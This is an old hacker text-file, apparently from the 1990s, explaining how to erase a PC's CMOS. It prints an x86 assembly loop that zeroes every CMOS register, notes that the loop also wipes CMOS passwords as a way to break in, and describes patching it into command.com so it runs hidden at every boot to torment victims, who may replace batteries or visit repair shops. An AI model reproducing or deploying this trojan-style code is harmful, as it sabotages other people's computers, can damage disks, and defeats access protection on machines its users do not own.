_Secret http://www.nauticom.net/www/secret programming@teo.nauticom.net How To Erase CMOS There is something that your computer checks for configurations of hardware and etc. every time you boot up. This is your CMOS. When your computer is running though, CMOS is not being checked. You can mess with CMOS all you want, change shit around or whatever and it will not affect the current computer operatoins since they are only checked at boot up. BUT, next time you boot up, your computer will now take on the new changes. One thing to do to a CMOS is to Erase it. This is extremely simple: MOV CX, 0FFFFh ; You only actually need 0FFh, but We will ; Go a bit further =) CMOS_ERASE: MOV AX, CX ; Get CMOS Register Number OUT 70h, AX ; Out It To The Register Select Port XOR AX, AX ; Send it Zero OUT 71h, AX ; Send the Data to the Register LOOP SHORT CMOS_ERASE ; Next Register Now, next time you boot after you run this your comptuer should go BEEP BEEP CMOS Error Press And you should be in CMOS screen and have to reset your CMOS =) This code will Also erase any CMOS passwords set, so it is also useful to break into CMOSes. (NOTE: While this is harmless, on one occasion it did destroy the bootsector on a harddrive of an Older 386 Machine) A Good way to get people is to attach this code to the end of command.com by: JMP PLACE at the beginning of command.com, and saving those 3 bytes and put them back after you run that code so everytime you boot up it would erase CMOS. People will be wondering why they must set CMOS every time they boot up. They may even take it to the shop or get a new CMOS battery =).